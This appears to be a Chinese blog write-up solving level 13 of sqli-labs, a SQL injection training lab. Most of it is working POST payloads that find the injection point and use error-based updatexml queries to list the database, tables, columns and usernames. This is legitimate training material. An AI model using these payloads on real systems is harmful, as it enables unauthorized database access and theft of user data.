6.24sqllab 第13关

布尔盲注

目录

判断注入类型

判断字段值：

显示回显点：

解题思路：

解题方式一：使用报错函数updatexml(1,x,1)  x(s,1)

显示数据库：

显示库下所有表

 显示表下字段：

 显示不全：

显示字段具体值：

---

判断注入类型

uname=admin&passwd=admin') --+&submit=Submit

判断字段值：

uname=admin&passwd=admin') order by 3 --+&submit=Submit 

显示回显点：

uname=admin&passwd=-admin') union select 1,2 --+&submit=Submit

发现没有回显内容：有些情况下，开发人员屏蔽了报错信息，导致攻击者无法通过报错信息进行注入的判断。这种情况下的注入，称为盲注。 盲注根据展现方式，分为 boolean 型盲注和时间型盲注。(4条消息) 渗透测试——布尔盲注和时间盲注_布尔注入是boolean时间盲注是_zjdda的博客-优快云博客

因此可能是布尔盲注，延时盲注  。而13关有执行语句报错信息，说明是布尔盲注

解题思路：

1.可以采用报错函数

(4条消息) SQL常用十大报错函数_OKAY_TC的博客-优快云博客

(4条消息) 报错注入常见函数原理_报错函数原理_p_utao的博客-优快云博客

(4条消息) MySQL报错函数注入及原理_末 初的博客-优快云博客

(4条消息) MySQL报错注入函数汇总_在排查mysql注入过程中,发现攻击者使用了报错函数,不包括_Au.J的博客-优快云博客

2.可以使用lenth substr函数以及配合burp

(4条消息) 布尔盲注和BurpSuite-Intruder模块使用-SQL注入-web安全_gaog2zh的博客-优快云博客

(4条消息) SQL注入之布尔盲注完整解析_sql注入 基于布尔的盲注_帛言的博客-优快云博客

(4条消息) 布尔盲注怎么用，一看你就明白了。布尔盲注原理+步骤+实战教程_士别三日wyx的博客-优快云博客

解题方式一：使用报错函数updatexml(1,x,1)  x(s,1)

(4条消息) updatexml函数-报错注入原理学习_身高两米不到的博客-优快云博客

(4条消息) SQL注入中的报错注入，updatexml(1,concat(0x7e,database(),0x7e),1)_,concat(0x,_头顶蜘蛛网，脚踩大水缸的博客-优快云博客 concat()函数的作用是把“~”和database()执行后的结果拼接起来，使用concat()的目的是为了让xpath路径格式出错，因为xpath路径格式中没有 ~ ,出错后就会让语句执行后的结果通过报错显示出来

显示数据库：

uname=admin&passwd=1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&submit=Submit

显示库下所有表

uname=admin&passwd=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+&submit=Submit

 

 显示表下字段：

uname=admin&passwd=1') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+&submit=Submit

 显示不全：

使用limit函数：

uname=admin&passwd=1') and updatexml(1,concat(0x7e,(select (column_name)from
information_schema.columns where table_name='users' limit 1,1),0x7e),1) --+&submit=Submit

uname=admin&passwd=1') and updatexml(1,concat(0x7e,(select (column_name)from
information_schema.columns where table_name='users' limit 2,1),0x7e),1) --+&submit=Submit

uname=admin&passwd=1') and updatexml(1,concat(0x7e,(select (column_name)from
information_schema.columns where table_name='users' limit 3,1),0x7e),1) --+&submit=Submit

uname=admin&passwd=1') and updatexml(1,concat(0x7e,(select (column_name)from
information_schema.columns where table_name='users' limit 4,1),0x7e),1) --+&submit=Submit 

 

uname=admin&passwd=1') and updatexml(1,concat(0x7e,(select (column_name)from
information_schema.columns where table_name='users' limit 9,1),0x7e),1) --+&submit=Submit

显示字段具体值：

uname=admin&passwd=1') and updatexml(1,concat(0x7e,(select username from users limit
0,1),0x7e),1) --+&submit=Submit